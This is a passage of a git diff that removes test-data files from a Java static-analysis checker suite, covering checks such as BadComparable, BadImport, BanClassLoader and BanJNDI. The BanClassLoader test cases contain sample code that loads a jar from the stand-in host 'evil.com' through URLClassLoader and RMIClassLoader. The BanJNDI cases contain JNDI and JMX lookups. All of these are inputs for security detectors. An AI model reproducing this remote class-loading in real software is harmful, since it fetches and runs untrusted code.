is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sebastian.h.monte@gmail.com (Sebastian Monte) - */ -public class AssertFalseNegativeCases { - - public void assertTrue() { - assert true; - } - - public void assertFalseFromCondition() { - assert 0 == 1; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalsePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalsePositiveCases.java deleted file mode 100644 index 1794830af2c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalsePositiveCases.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sebastian.h.monte@gmail.com (Sebastian Monte) - */ -public class AssertFalsePositiveCases { - public void assertFalse() { - // BUG: Diagnostic contains: throw new AssertionError() - assert false; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullNegativeCases.java deleted file mode 100644 index 84eca364344..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullNegativeCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.immediateFuture; - -import com.google.common.base.Function; -import com.google.common.util.concurrent.AsyncFunction; -import com.google.common.util.concurrent.ListenableFuture; -import java.util.function.Supplier; -import org.jspecify.annotations.Nullable; - -/** Negative cases for {@link AsyncFunctionReturnsNull}. */ -public class AsyncFunctionReturnsNullNegativeCases { - static { - new AsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - return immediateFuture(null); - } - }; - - new Function() { - @Override - public Object apply(String input) { - return null; - } - }; - - new AsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - return apply(input, input); - } - - public ListenableFuture apply(String input1, String input2) { - return null; - } - }; - - new MyNonAsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - return null; - } - }; - - new AsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - Supplier s = - () -> { - return null; - }; - return immediateFuture(s.get()); - } - }; - } - - interface MyNonAsyncFunction { - ListenableFuture apply(@Nullable I input) throws Exception; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullPositiveCases.java deleted file mode 100644 index 0a1feeef90d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullPositiveCases.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.immediateFuture; - -import com.google.common.util.concurrent.AsyncFunction; -import com.google.common.util.concurrent.ListenableFuture; - -/** Positive cases for {@link AsyncFunctionReturnsNull}. */ -public class AsyncFunctionReturnsNullPositiveCases { - static void listenableFutures() { - new AsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - // BUG: Diagnostic contains: immediateFuture(null) - return null; - } - }; - - new AsyncFunction() { - @Override - public ListenableFuture apply(Object o) { - if (o instanceof String) { - return immediateFuture((String) o); - } - // BUG: Diagnostic contains: immediateFuture(null) - return null; - } - }; - } - - static class MyAsyncFunction implements AsyncFunction { - @Override - public ListenableFuture apply(Object input) throws Exception { - return immediateFuture(input.toString()); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparableNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparableNegativeCases.java deleted file mode 100644 index 7d506ef259e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparableNegativeCases.java +++ /dev/null @@ -1,153 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Comparator; - -/** - * @author irogers@google.com (Ian Rogers) - */ -public class BadComparableNegativeCases { - // The corrected cases of the PositiveCases test. - static class ComparableTest implements Comparable { - private final long value = 0; - - public int compareTo(ComparableTest other) { - return Long.compare(value, other.value); - } - } - - static class BoxedComparableTest implements Comparable { - private final Long value = Long.valueOf(0); - - public int compareTo(BoxedComparableTest other) { - return value.compareTo(other.value); - } - } - - static final Comparator COMPARATOR_UNBOXED_INT_CAST = - new Comparator() { - public int compare(Number n1, Number n2) { - return Long.compare(n1.longValue(), n2.longValue()); - } - }; - - static final Comparator COMPARATOR_BOXED_INT_CAST = - new Comparator() { - public int compare(Long n1, Long n2) { - return n1.compareTo(n2); - } - }; - - // Don't match non-Comparable or Comparator cases. - static class NonComparableTest { - private final long value = 0; - - public int compareTo(ComparableTest other) { - return (int) (value - other.value); - } - } - - static final Object COMPARATOR_LIKE_INT_CAST = - new Object() { - public int compare(Long n1, Long n2) { - return (int) (n1 - n2); - } - }; - - // Narrowing conversions that don't follow the long -> int pattern. - static final Comparator COMPARATOR_UNBOXED_NON_PATTERN_LONG_CAST = - new Comparator() { - // To match the Comparator API. - @Override - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - - public short compare(int n1, int n2) { - return (short) (n1 - n2); - } - - public byte compare(long n1, long n2) { - return (byte) (n1 - n2); - } - }; - - // Not narrowing conversions. - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_LONG_CAST = - new Comparator() { - // To match the Comparator API. - @Override - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - - public long compare(long n1, long n2) { - return (long) (n1 - n2); - } - }; - - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_INT_CAST = - new Comparator() { - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - }; - - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_SHORT_CAST = - new Comparator() { - // To match the Comparator API. - @Override - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - - public short compare(short n1, short n2) { - return (short) (n1 - n2); - } - }; - - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_BYTE_CAST = - new Comparator() { - // To match the Comparator API. - @Override - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - - public byte compare(byte n1, byte n2) { - return (byte) (n1 - n2); - } - }; - - // Not signed conversions. - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_CHAR_CAST = - new Comparator() { - @Override - public int compare(Number n1, Number n2) { - return (char) (n1.shortValue() - n2.shortValue()); - } - - public char compare(char n1, char n2) { - return (char) (n1 - n2); - } - - public char compare(byte n1, byte n2) { - return (char) (n1 - n2); - } - }; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparablePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparablePositiveCases.java deleted file mode 100644 index 6ff360bf3e7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparablePositiveCases.java +++ /dev/null @@ -1,67 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.File; -import java.util.Comparator; - -/** - * @author irogers@google.com (Ian Rogers) - */ -public class BadComparablePositiveCases { - static class ComparableTest implements Comparable { - private final long value = 0; - - public int compareTo(ComparableTest other) { - // BUG: Diagnostic contains: return Long.compare(value, other.value); - return (int) (value - other.value); - } - } - - static class BoxedComparableTest implements Comparable { - private final Long value = Long.valueOf(0); - - public int compareTo(BoxedComparableTest other) { - // BUG: Diagnostic contains: return value.compareTo(other.value); - return (int) (value - other.value); - } - } - - static final Comparator COMPARATOR_UNBOXED_INT_CAST = - new Comparator() { - public int compare(Number n1, Number n2) { - // BUG: Diagnostic contains: return Long.compare(n1.longValue(), n2.longValue()) - return (int) (n1.longValue() - n2.longValue()); - } - }; - - static final Comparator COMPARATOR_BOXED_INT_CAST = - new Comparator() { - public int compare(Long n1, Long n2) { - // BUG: Diagnostic contains: return n1.compareTo(n2) - return (int) (n1 - n2); - } - }; - - static final Comparator COMPARATOR_FILE_INT_CAST = - new Comparator() { - public int compare(File lhs, File rhs) { - // BUG: Diagnostic contains: return Long.compare(rhs.lastModified(), lhs.lastModified()) - return (int) (rhs.lastModified() - lhs.lastModified()); - } - }; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportNegativeCases.java deleted file mode 100644 index 2d74dbf355f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportNegativeCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; - -/** - * Tests for {@link BadImport}. - * - * @author awturner@google.com (Andy Turner) - */ -public class BadImportNegativeCases { - public void qualified() { - ImmutableList.Builder qualified; - com.google.common.collect.ImmutableList.Builder fullyQualified; - ImmutableList.Builder raw; - - new ImmutableList.Builder(); - } - - static class Nested { - static class Builder {} - - void useNestedBuilder() { - new Builder(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases.java deleted file mode 100644 index 1efa8f73def..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableList.Builder; -import org.jspecify.annotations.Nullable; - -/** - * Tests for {@link BadImport}. - * - * @author awturner@google.com (Andy Turner) - */ -class BadImportPositiveCases { - public void variableDeclarations() { - // Only the first match is reported; but all occurrences are fixed. - // BUG: Diagnostic contains: ImmutableList.Builder - Builder qualified; - Builder raw; - } - - public void variableDeclarationsNestedGenerics() { - Builder> builder1; - Builder builder1Raw; - ImmutableList.Builder> builder2; - ImmutableList.Builder builder2Raw; - } - - @Nullable - Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotationMethod() { - return null; - } - - public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { - - @Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; - - @Nullable Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotation2; - } - - public void newClass() { - new Builder(); - new Builder>(); - } - - Builder returnGenericExplicit() { - return new Builder(); - } - - Builder returnGenericDiamond() { - return new Builder<>(); - } - - Builder returnRaw() { - return new Builder(); - } - - void classLiteral() { - System.out.println(Builder.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases_expected.java deleted file mode 100644 index d45e21a541a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases_expected.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import org.jspecify.annotations.Nullable; - -/** - * Tests for {@link BadImport}. - * - * @author awturner@google.com (Andy Turner) - */ -class BadImportPositiveCases { - public void variableDeclarations() { - ImmutableList.Builder qualified; - ImmutableList.Builder raw; - } - - public void variableDeclarationsNestedGenerics() { - ImmutableList.Builder> builder1; - ImmutableList.Builder builder1Raw; - ImmutableList.Builder> builder2; - ImmutableList.Builder builder2Raw; - } - - ImmutableList.@Nullable Builder> - parameterizedWithTypeUseAnnotationMethod() { - return null; - } - - public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { - - ImmutableList.@Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; - - ImmutableList.@Nullable Builder> - parameterizedWithTypeUseAnnotation2; - } - - public void newClass() { - new ImmutableList.Builder(); - new ImmutableList.Builder>(); - } - - ImmutableList.Builder returnGenericExplicit() { - return new ImmutableList.Builder(); - } - - ImmutableList.Builder returnGenericDiamond() { - return new ImmutableList.Builder<>(); - } - - ImmutableList.Builder returnRaw() { - return new ImmutableList.Builder(); - } - - void classLiteral() { - System.out.println(ImmutableList.Builder.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadShiftAmountNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadShiftAmountNegativeCases.java deleted file mode 100644 index c1e86333027..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadShiftAmountNegativeCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author Bill Pugh (bill.pugh@gmail.com) - */ -public class BadShiftAmountNegativeCases { - - public void foo() { - int x = 0; - long result = 0; - - result += (long) x >> 3; - result += x << 3; - result += x >>> 3; - result += (long) (x & 0xff) >> 40; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java deleted file mode 100644 index 849083ccc24..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.security.SecureClassLoader; - -class BanClassLoaderPositiveCases { - /** OK to extend SecureClassLoader */ - class AnotherSecureClassLoader extends SecureClassLoader {} - - /** OK to call loadClass if it's not on RMIClassLoader */ - public final Class overrideClassLoader() throws ClassNotFoundException { - SecureClassLoader loader = new AnotherSecureClassLoader(); - return loader.loadClass("BadClass"); - } - - /** OK to define loadClass */ - private class NotClassLoader { - protected void loadClass() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java deleted file mode 100644 index a895af2e9b9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static java.rmi.server.RMIClassLoader.loadClass; - -import java.lang.invoke.MethodHandles; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; - -class BanClassLoaderPositiveCases { - /** Override loadClass with an insecure implementation. */ - // BUG: Diagnostic contains: BanClassLoader - class InsecureClassLoader extends URLClassLoader { - public InsecureClassLoader() { - super(new URL[0]); - } - - @Override - protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { - try { - addURL(new URL("jar:https://evil.com/bad.jar")); - } catch (MalformedURLException e) { - } - return findClass(name); - } - } - - /** Calling static methods in java.rmi.server.RMIClassLoader. */ - public static final Class loadRMI() throws ClassNotFoundException, MalformedURLException { - // BUG: Diagnostic contains: BanClassLoader - return loadClass("evil.com", "BadClass"); - } - - /** Calling constructor of java.net.URLClassLoader. */ - public ClassLoader loadFromURL() throws MalformedURLException { - // BUG: Diagnostic contains: BanClassLoader - URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")}); - return loader; - } - - /** Calling methods of nested class. */ - public static final Class methodHandlesDefineClass(byte[] bytes) - throws IllegalAccessException { - // BUG: Diagnostic contains: BanClassLoader - return MethodHandles.lookup().defineClass(bytes); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java deleted file mode 100644 index 055fafcf882..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static java.rmi.server.RMIClassLoader.loadClass; - -import com.google.security.annotations.SuppressBanClassLoaderCompletedSecurityReview; -import java.lang.invoke.MethodHandles; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; - -class BanClassLoaderPositiveCases { - /** Override loadClass with an insecure implementation. */ - // BUG: Diagnostic contains: BanClassLoader - @SuppressBanClassLoaderCompletedSecurityReview - class InsecureClassLoader extends URLClassLoader { - public InsecureClassLoader() { - super(new URL[0]); - } - - @Override - protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { - try { - addURL(new URL("jar:https://evil.com/bad.jar")); - } catch (MalformedURLException e) { - } - return findClass(name); - } - } - - /** Calling static methods in java.rmi.server.RMIClassLoader. */ - @SuppressBanClassLoaderCompletedSecurityReview - public static final Class loadRMI() throws ClassNotFoundException, MalformedURLException { - // BUG: Diagnostic contains: BanClassLoader - return loadClass("evil.com", "BadClass"); - } - - /** Calling constructor of java.net.URLClassLoader. */ - @SuppressBanClassLoaderCompletedSecurityReview - public ClassLoader loadFromURL() throws MalformedURLException { - // BUG: Diagnostic contains: BanClassLoader - URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")}); - return loader; - } - - /** Calling methods of nested class. */ - @SuppressBanClassLoaderCompletedSecurityReview - public static final Class methodHandlesDefineClass(byte[] bytes) - throws IllegalAccessException { - // BUG: Diagnostic contains: BanClassLoader - return MethodHandles.lookup().defineClass(bytes); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDINegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDINegativeCases.java deleted file mode 100644 index fd5455c3c85..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDINegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import javax.naming.Name; -import javax.naming.NamingException; -import javax.naming.directory.DirContext; - -/** - * {@link BanJNDITest} - * - * @author tshadwell@google.com (Thomas Shadwell) - */ -class BanJNDIPositiveCases { - private static DirContext FakeDirContext = ((DirContext) new Object()); - - // Check we didn't ban all of Context by accident. - private void callsList() throws NamingException { - FakeDirContext.list(((Name) new Object())); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases.java deleted file mode 100644 index 23c511d5e42..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases.java +++ /dev/null @@ -1,149 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; -import java.util.Hashtable; -import javax.management.remote.JMXConnector; -import javax.management.remote.JMXConnectorFactory; -import javax.management.remote.JMXServiceURL; -import javax.management.remote.rmi.RMIConnector; -import javax.naming.Context; -import javax.naming.InitialContext; -import javax.naming.Name; -import javax.naming.NamingException; -import javax.naming.directory.Attributes; -import javax.naming.directory.DirContext; -import javax.sql.rowset.spi.SyncFactory; -import javax.sql.rowset.spi.SyncFactoryException; - -/** - * {@link BanJNDITest} - * - * @author tshadwell@google.com (Thomas Shadwell) - */ -class BanJNDIPositiveCases { - private static DirContext FakeDirContext = ((DirContext) new Object()); - - private void callsModifyAttributes() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.modifyAttributes(((Name) new Object()), 0, ((Attributes) new Object())); - } - - private void callsGetAttributes() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getAttributes(((Name) new Object())); - } - - private void callsSearch() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.search(((Name) new Object()), ((Attributes) new Object())); - } - - private void callsGetSchema() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getSchema(((Name) new Object())); - } - - private void callsGetSchemaClassDefinition() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getSchemaClassDefinition(((Name) new Object())); - } - - private static Context FakeContext = ((Context) new Object()); - - private void callsLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.lookup("hello"); - } - - private void callsSubclassLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.lookup("hello"); - } - - private void callsBind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.bind(((Name) new Object()), new Object()); - } - - private void subclassCallsBind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.bind(((Name) new Object()), new Object()); - } - - private void callsRebind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.rebind(((Name) new Object()), new Object()); - } - - private void subclassCallsRebind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.rebind(((Name) new Object()), new Object()); - } - - private void callsCreateSubcontext() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.createSubcontext((Name) new Object()); - } - - private void subclassCallsCreateSubcontext() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.createSubcontext((Name) new Object()); - } - - RMIConnector fakeRMIConnector = ((RMIConnector) new Object()); - - private void callsRMIConnect() throws IOException { - // BUG: Diagnostic contains: BanJNDI - fakeRMIConnector.connect(); - } - - private void callsEnumerateBindings() throws SyncFactoryException { - // BUG: Diagnostic contains: BanJNDI - SyncFactory.getInstance("fear is the little-death"); - } - - // unable to load javax.jdo for testing (must be some super optional pkg?) - - private void callsJMXConnectorFactoryConnect() throws IOException { - // BUG: Diagnostic contains: BanJNDI - JMXConnectorFactory.connect(((JMXServiceURL) new Object())); - } - - private void callsDoLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - InitialContext.doLookup(((Name) new Object())); - } - - private static boolean callToJMXConnectorFactoryConnect() - throws java.net.MalformedURLException, java.io.IOException { - JMXConnector connector = - // BUG: Diagnostic contains: BanJNDI - JMXConnectorFactory.connect( - new JMXServiceURL("service:jmx:rmi:///jndi/rmi:// fake data 123 ")); - connector.connect(); - - return false; - } - - private Object subclassesJavaNamingcontext() throws NamingException { - InitialContext c = new InitialContext(new Hashtable(0)); - // BUG: Diagnostic contains: BanJNDI - return c.lookup("hello"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases_expected.java deleted file mode 100644 index a08ada492b1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases_expected.java +++ /dev/null @@ -1,169 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.security.annotations.SuppressBanJNDICompletedSecurityReview; -import java.io.IOException; -import java.util.Hashtable; -import javax.management.remote.JMXConnector; -import javax.management.remote.JMXConnectorFactory; -import javax.management.remote.JMXServiceURL; -import javax.management.remote.rmi.RMIConnector; -import javax.naming.Context; -import javax.naming.InitialContext; -import javax.naming.Name; -import javax.naming.NamingException; -import javax.naming.directory.Attributes; -import 